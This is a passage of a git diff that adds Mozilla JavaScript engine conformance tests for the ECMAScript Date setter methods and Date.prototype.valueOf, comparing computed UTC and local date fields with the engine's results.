+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
+function SetSeconds( t, s, m ) {
+ var MS = ( m == void 0 ) ? msFromTime(t) : Number( m );
+ var TIME = LocalTime( t );
+ var SEC = Number(s);
+ var RESULT4 = MakeTime( HourFromTime( TIME ),
+ MinFromTime( TIME ),
+ SEC,
+ MS );
+ var UTC_TIME = UTC(MakeDate(Day(TIME), RESULT4));
+ return ( TimeClip(UTC_TIME) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.27-1.js b/js/src/tests/ecma/Date/15.9.5.27-1.js
new file mode 100644
index 000000000..bb7a99a3b
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.27-1.js
@@ -0,0 +1,149 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.27-1.js
+ ECMA Section: 15.9.5.27 Date.prototype.setUTCSeconds(sec [,ms])
+ Description:
+
+ If ms is not specified, this behaves as if ms were specified with the
+ value getUTCMilliseconds( ).
+
+ 1. Let t be this time value.
+ 2. Call ToNumber(sec).
+ 3. If ms is not specified, compute msFromTime(t); otherwise, call
+ ToNumber(ms)
+ 4. Compute MakeTime(HourFromTime(t), MinFromTime(t), Result(2), Result(3))
+ 5. Compute MakeDate(Day(t), Result(4)).
+ 6. Set the [[Value]] property of the this value to TimeClip(Result(5)).
+ 7. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "15.9.5.27-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setUTCSeconds(sec [,ms] )");
+
+addNewTestCase( 0, 0, 0, "TDATE = new Date(0);(TDATE).setUTCSeconds(0,0);TDATE",
+ UTCDateFromTime(SetUTCSeconds(0,0,0)),
+ LocalDateFromTime(SetUTCSeconds(0,0,0)) );
+
+addNewTestCase( 28800000,59,999,
+ "TDATE = new Date(28800000);(TDATE).setUTCSeconds(59,999);TDATE",
+ UTCDateFromTime(SetUTCSeconds(28800000,59,999)),
+ LocalDateFromTime(SetUTCSeconds(28800000,59,999)) );
+
+addNewTestCase( 28800000,999,999,
+ "TDATE = new Date(28800000);(TDATE).setUTCSeconds(999,999);TDATE",
+ UTCDateFromTime(SetUTCSeconds(28800000,999,999)),
+ LocalDateFromTime(SetUTCSeconds(28800000,999,999)) );
+
+addNewTestCase( 28800000, 999, void 0,
+ "TDATE = new Date(28800000);(TDATE).setUTCSeconds(999);TDATE",
+ UTCDateFromTime(SetUTCSeconds(28800000,999,0)),
+ LocalDateFromTime(SetUTCSeconds(28800000,999,0)) );
+
+addNewTestCase( 28800000, -28800, void 0,
+ "TDATE = new Date(28800000);(TDATE).setUTCSeconds(-28800);TDATE",
+ UTCDateFromTime(SetUTCSeconds(28800000,-28800)),
+ LocalDateFromTime(SetUTCSeconds(28800000,-28800)) );
+
+addNewTestCase( 946684800000, 1234567, void 0,
+ "TDATE = new Date(946684800000);(TDATE).setUTCSeconds(1234567);TDATE",
+ UTCDateFromTime(SetUTCSeconds(946684800000,1234567)),
+ LocalDateFromTime(SetUTCSeconds(946684800000,1234567)) );
+
+addNewTestCase( -2208988800000,59,999,
+ "TDATE = new Date(-2208988800000);(TDATE).setUTCSeconds(59,999);TDATE",
+ UTCDateFromTime(SetUTCSeconds(-2208988800000,59,999)),
+ LocalDateFromTime(SetUTCSeconds(-2208988800000,59,999)) );
+
+test();
+
+function addNewTestCase( startTime, sec, ms, DateString, UTCDate, LocalDate) {
+ DateCase = new Date( startTime );
+ if ( ms == void 0) {
+ DateCase.setSeconds( sec );
+ } else {
+ DateCase.setSeconds( sec, ms );
+ }
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
+
+function SetUTCSeconds( t, s, m ) {
+ var TIME = t;
+ var SEC = Number(s);
+ var MS = ( m == void 0 ) ? msFromTime(TIME) : Number( m );
+ var RESULT4 = MakeTime( HourFromTime( TIME ),
+ MinFromTime( TIME ),
+ SEC,
+ MS );
+ return ( TimeClip(MakeDate(Day(TIME), RESULT4)) );
+}
+
diff --git a/js/src/tests/ecma/Date/15.9.5.28-1.js b/js/src/tests/ecma/Date/15.9.5.28-1.js
new file mode 100644
index 000000000..4bbc0251d
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.28-1.js
@@ -0,0 +1,163 @@
+// |reftest| random-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.28-1.js
+ ECMA Section: 15.9.5.28 Date.prototype.setMinutes(min [, sec [, ms ]] )
+ Description:
+ If sec is not specified, this behaves as if sec were specified with the
+ value getSeconds ( ).
+
+ If ms is not specified, this behaves as if ms were specified with the
+ value getMilliseconds( ).
+
+ 1. Let t be the result of LocalTime(this time value).
+ 2. Call ToNumber(min).
+ 3. If sec is not specified, compute SecFromTime(t); otherwise, call ToNumber(sec).
+ 4. If ms is not specified, compute msFromTime(t); otherwise, call ToNumber(ms).
+ 5. Compute MakeTime(HourFromTime(t), Result(2), Result(3), Result(4)).
+ 6. Compute UTC(MakeDate(Day(t), Result(5))).
+ 7. Set the [[Value]] property of the this value to TimeClip(Result(6)).
+ 8. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "15.9.5.28-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setMinutes(sec [,ms] )");
+
+addNewTestCase( 0, 0, void 0, void 0,
+ "TDATE = new Date(0);(TDATE).setMinutes(0);TDATE",
+ UTCDateFromTime(SetMinutes(0,0,0,0)),
+ LocalDateFromTime(SetMinutes(0,0,0,0)) );
+
+addNewTestCase( 28800000, 59, 59, void 0,
+ "TDATE = new Date(28800000);(TDATE).setMinutes(59,59);TDATE",
+ UTCDateFromTime(SetMinutes(28800000,59,59)),
+ LocalDateFromTime(SetMinutes(28800000,59,59)) );
+
+addNewTestCase( 28800000, 59, 59, 999,
+ "TDATE = new Date(28800000);(TDATE).setMinutes(59,59,999);TDATE",
+ UTCDateFromTime(SetMinutes(28800000,59,59,999)),
+ LocalDateFromTime(SetMinutes(28800000,59,59,999)) );
+
+addNewTestCase( 28800000, 59, void 0, void 0,
+ "TDATE = new Date(28800000);(TDATE).setMinutes(59);TDATE",
+ UTCDateFromTime(SetMinutes(28800000,59,0)),
+ LocalDateFromTime(SetMinutes(28800000,59,0)) );
+
+addNewTestCase( 28800000, -480, void 0, void 0,
+ "TDATE = new Date(28800000);(TDATE).setMinutes(-480);TDATE",
+ UTCDateFromTime(SetMinutes(28800000,-480)),
+ LocalDateFromTime(SetMinutes(28800000,-480)) );
+
+addNewTestCase( 946684800000, 1234567, void 0, void 0,
+ "TDATE = new Date(946684800000);(TDATE).setMinutes(1234567);TDATE",
+ UTCDateFromTime(SetMinutes(946684800000,1234567)),
+ LocalDateFromTime(SetMinutes(946684800000,1234567)) );
+
+addNewTestCase( -2208988800000,59, 59, void 0,
+ "TDATE = new Date(-2208988800000);(TDATE).setMinutes(59,59);TDATE",
+ UTCDateFromTime(SetMinutes(-2208988800000,59,59)),
+ LocalDateFromTime(SetMinutes(-2208988800000,59,59)) );
+
+addNewTestCase( -2208988800000, 59, 59, 999,
+ "TDATE = new Date(-2208988800000);(TDATE).setMinutes(59,59,999);TDATE",
+ UTCDateFromTime(SetMinutes(-2208988800000,59,59,999)),
+ LocalDateFromTime(SetMinutes(-2208988800000,59,59,999)) );
+
+test();
+
+function addNewTestCase( time, min, sec, ms, DateString, UTCDate, LocalDate) {
+ DateCase = new Date( time );
+
+ if ( sec == void 0 ) {
+ DateCase.setMinutes( min );
+ } else {
+ if ( ms == void 0 ) {
+ DateCase.setMinutes( min, sec );
+ } else {
+ DateCase.setMinutes( min, sec, ms );
+ }
+ }
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
+
+function SetMinutes( t, min, sec, ms ) {
+ var TIME = LocalTime(t);
+ var MIN = Number(min);
+ var SEC = ( sec == void 0) ? SecFromTime(TIME) : Number(sec);
+ var MS = ( ms == void 0 ) ? msFromTime(TIME) : Number(ms);
+ var RESULT5 = MakeTime( HourFromTime( TIME ),
+ MIN,
+ SEC,
+ MS );
+ return ( TimeClip(UTC( MakeDate(Day(TIME),RESULT5))) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.29-1.js b/js/src/tests/ecma/Date/15.9.5.29-1.js
new file mode 100644
index 000000000..172e95a72
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.29-1.js
@@ -0,0 +1,158 @@
+// |reftest| random-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.29-1.js
+ ECMA Section: 15.9.5.29 Date.prototype.setUTCMinutes(min [, sec [, ms ]] )
+ Description:
+ If sec is not specified, this behaves as if sec were specified with the
+ value getUTCSeconds ( ).
+
+ If ms is not specified, this behaves as if ms were specified with the value
+ getUTCMilliseconds( ).
+
+ 1. Let t be this time value.
+ 2. Call ToNumber(min).
+ 3. If sec is not specified, compute SecFromTime(t); otherwise, call
+ ToNumber(sec).
+ 4. If ms is not specified, compute msFromTime(t); otherwise, call
+ ToNumber(ms).
+ 5. Compute MakeTime(HourFromTime(t), Result(2), Result(3), Result(4)).
+ 6. Compute MakeDate(Day(t), Result(5)).
+ 7. Set the [[Value]] property of the this value to TimeClip(Result(6)).
+ 8. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "15.9.5.29-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setUTCMinutes( min [, sec, ms] )");
+
+addNewTestCase( 0, 0, void 0, void 0,
+ "TDATE = new Date(0);(TDATE).setUTCMinutes(0);TDATE",
+ UTCDateFromTime(SetUTCMinutes(0,0,0,0)),
+ LocalDateFromTime(SetUTCMinutes(0,0,0,0)) );
+
+addNewTestCase( 28800000, 59, 59, void 0,
+ "TDATE = new Date(28800000);(TDATE).setUTCMinutes(59,59);TDATE",
+ UTCDateFromTime(SetUTCMinutes(28800000,59,59)),
+ LocalDateFromTime(SetUTCMinutes(28800000,59,59)) );
+
+addNewTestCase( 28800000, 59, 59, 999,
+ "TDATE = new Date(28800000);(TDATE).setUTCMinutes(59,59,999);TDATE",
+ UTCDateFromTime(SetUTCMinutes(28800000,59,59,999)),
+ LocalDateFromTime(SetUTCMinutes(28800000,59,59,999)) );
+
+addNewTestCase( 28800000, 59, void 0, void 0,
+ "TDATE = new Date(28800000);(TDATE).setUTCMinutes(59);TDATE",
+ UTCDateFromTime(SetUTCMinutes(28800000,59)),
+ LocalDateFromTime(SetUTCMinutes(28800000,59)) );
+
+addNewTestCase( 28800000, -480, 0, 0,
+ "TDATE = new Date(28800000);(TDATE).setUTCMinutes(-480);TDATE",
+ UTCDateFromTime(SetUTCMinutes(28800000,-480)),
+ LocalDateFromTime(SetUTCMinutes(28800000,-480)) );
+
+addNewTestCase( 946684800000, 1234567, void 0, void 0,
+ "TDATE = new Date(946684800000);(TDATE).setUTCMinutes(1234567);TDATE",
+ UTCDateFromTime(SetUTCMinutes(946684800000,1234567)),
+ LocalDateFromTime(SetUTCMinutes(946684800000,1234567)) );
+
+addNewTestCase( -2208988800000, 59, 999, void 0,
+ "TDATE = new Date(-2208988800000);(TDATE).setUTCMinutes(59,999);TDATE",
+ UTCDateFromTime(SetUTCMinutes(-2208988800000,59,999)),
+ LocalDateFromTime(SetUTCMinutes(-2208988800000,59,999)) );
+
+test();
+
+function addNewTestCase( time, min, sec, ms, DateString, UTCDate, LocalDate) {
+ var DateCase = new Date( time );
+
+ if ( sec == void 0 ) {
+ DateCase.setUTCMinutes( min );
+ } else {
+ if ( ms == void 0 ) {
+ DateCase.setUTCMinutes( min, sec );
+ } else {
+ DateCase.setUTCMinutes( min, sec, ms );
+ }
+ }
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
+function SetUTCMinutes( t, min, sec, ms ) {
+ var TIME = t;
+ var MIN = Number(min);
+ var SEC = ( sec == void 0) ? SecFromTime(TIME) : Number(sec);
+ var MS = ( ms == void 0 ) ? msFromTime(TIME) : Number(ms);
+ var RESULT5 = MakeTime( HourFromTime( TIME ),
+ MIN,
+ SEC,
+ MS );
+ return ( TimeClip(MakeDate(Day(TIME),RESULT5)) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.3-1-n.js b/js/src/tests/ecma/Date/15.9.5.3-1-n.js
new file mode 100644
index 000000000..3bcc3af20
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.3-1-n.js
@@ -0,0 +1,46 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.3-1.js
+ ECMA Section: 15.9.5.3-1 Date.prototype.valueOf
+ Description:
+
+ The valueOf function returns a number, which is this time value.
+
+ The valueOf function is not generic; it generates a runtime error if
+ its this value is not a Date object. Therefore it cannot be transferred
+ to other kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.3-1-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.valueOf";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var OBJ = new MyObject( new Date(0) );
+
+DESCRIPTION = "var OBJ = new MyObject( new Date(0) ); OBJ.valueOf()";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "var OBJ = new MyObject( new Date(0) ); OBJ.valueOf()",
+ "error",
+ eval("OBJ.valueOf()") );
+test();
+
+function MyObject( value ) {
+ this.value = value;
+ this.valueOf = Date.prototype.valueOf;
+// The following line causes an infinte loop
+// this.toString = new Function( "return this+\"\";");
+ return this;
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.3-2.js b/js/src/tests/ecma/Date/15.9.5.3-2.js
new file mode 100644
index 000000000..bc46a27bb
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.3-2.js
@@ -0,0 +1,70 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.3-2.js
+ ECMA Section: 15.9.5.3-2 Date.prototype.valueOf
+ Description:
+
+ The valueOf function returns a number, which is this time value.
+
+ The valueOf function is not generic; it generates a runtime error if
+ its this value is not a Date object. Therefore it cannot be transferred
+ to other kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.3-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.valueOf";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_NOW );
+addTestCase( TIME_1970 );
+addTestCase( TIME_1900 );
+addTestCase( TIME_2000 );
+addTestCase( UTC_FEB_29_2000 );
+addTestCase( UTC_JAN_1_2005 );
+
+test();
+
+function addTestCase( t ) {
+ new TestCase( SECTION,
+ "(new Date("+t+").valueOf()",
+ t,
+ (new Date(t)).valueOf() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t+1)+").valueOf()",
+ t+1,
+ (new Date(t+1)).valueOf() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t-1)+").valueOf()",
+ t-1,
+ (new Date(t-1)).valueOf() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t-TZ_ADJUST)+").valueOf()",
+ t-TZ_ADJUST,
+ (new Date(t-TZ_ADJUST)).valueOf() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t+TZ_ADJUST)+").valueOf()",
+ t+TZ_ADJUST,
+ (new Date(t+TZ_ADJUST)).valueOf() );
+}
+
+function MyObject( value ) {
+ this.value = value;
+ this.valueOf = Date.prototype.valueOf;
+ this.toString = new Function( "return this+\"\";");
+ return this;
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.30-1.js b/js/src/tests/ecma/Date/15.9.5.30-1.js
new file mode 100644
index 000000000..4461ee36c
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.30-1.js
@@ -0,0 +1,158 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.30-1.js
+ ECMA Section: 15.9.5.30 Date.prototype.setHours(hour [, min [, sec [, ms ]]] )
+ Description:
+ If min is not specified, this behaves as if min were specified with the
+ value getMinutes( ). If sec is not specified, this behaves as if sec were
+ specified with the value getSeconds ( ). If ms is not specified, this
+ behaves as if ms were specified with the value getMilliseconds( ).
+
+ 1. Let t be the result of LocalTime(this time value).
+ 2. Call ToNumber(hour).
+ 3. If min is not specified, compute MinFromTime(t); otherwise, call
+ ToNumber(min).
+ 4. If sec is not specified, compute SecFromTime(t); otherwise, call
+ ToNumber(sec).
+ 5. If ms is not specified, compute msFromTime(t); otherwise, call
+ ToNumber(ms).
+ 6. Compute MakeTime(Result(2), Result(3), Result(4), Result(5)).
+ 7. Compute UTC(MakeDate(Day(t), Result(6))).
+ 8. Set the [[Value]] property of the this value to TimeClip(Result(7)).
+ 9. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "15.9.5.30-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setHours( hour [, min, sec, ms] )");
+
+addNewTestCase( 0,0,0,0,void 0,
+ "TDATE = new Date(0);(TDATE).setHours(0);TDATE" );
+
+addNewTestCase( 28800000, 23, 59, 999,void 0,
+ "TDATE = new Date(28800000);(TDATE).setHours(23,59,999);TDATE" );
+
+addNewTestCase( 28800000, 999, 999, void 0, void 0,
+ "TDATE = new Date(28800000);(TDATE).setHours(999,999);TDATE" );
+
+addNewTestCase( 28800000,999,0, void 0, void 0,
+ "TDATE = new Date(28800000);(TDATE).setHours(999);TDATE" );
+
+addNewTestCase( 28800000,-8, void 0, void 0, void 0,
+ "TDATE = new Date(28800000);(TDATE).setHours(-8);TDATE" );
+
+addNewTestCase( 946684800000,8760, void 0, void 0, void 0,
+ "TDATE = new Date(946684800000);(TDATE).setHours(8760);TDATE" );
+
+addNewTestCase( TIME_2000 - msPerDay, 23, 59, 59, 999,
+ "d = new Date( " + (TIME_2000-msPerDay) +"); d.setHours(23,59,59,999)" );
+
+addNewTestCase( TIME_2000 - msPerDay, 23, 59, 59, 1000,
+ "d = new Date( " + (TIME_2000-msPerDay) +"); d.setHours(23,59,59,1000)" );
+
+test();
+
+function addNewTestCase( time, hours, min, sec, ms, DateString) {
+ var UTCDate = UTCDateFromTime( SetHours( time, hours, min, sec, ms ));
+ var LocalDate = LocalDateFromTime( SetHours( time, hours, min, sec, ms ));
+
+ var DateCase = new Date( time );
+
+ if ( min == void 0 ) {
+ DateCase.setHours( hours );
+ } else {
+ if ( sec == void 0 ) {
+ DateCase.setHours( hours, min );
+ } else {
+ if ( ms == void 0 ) {
+ DateCase.setHours( hours, min, sec );
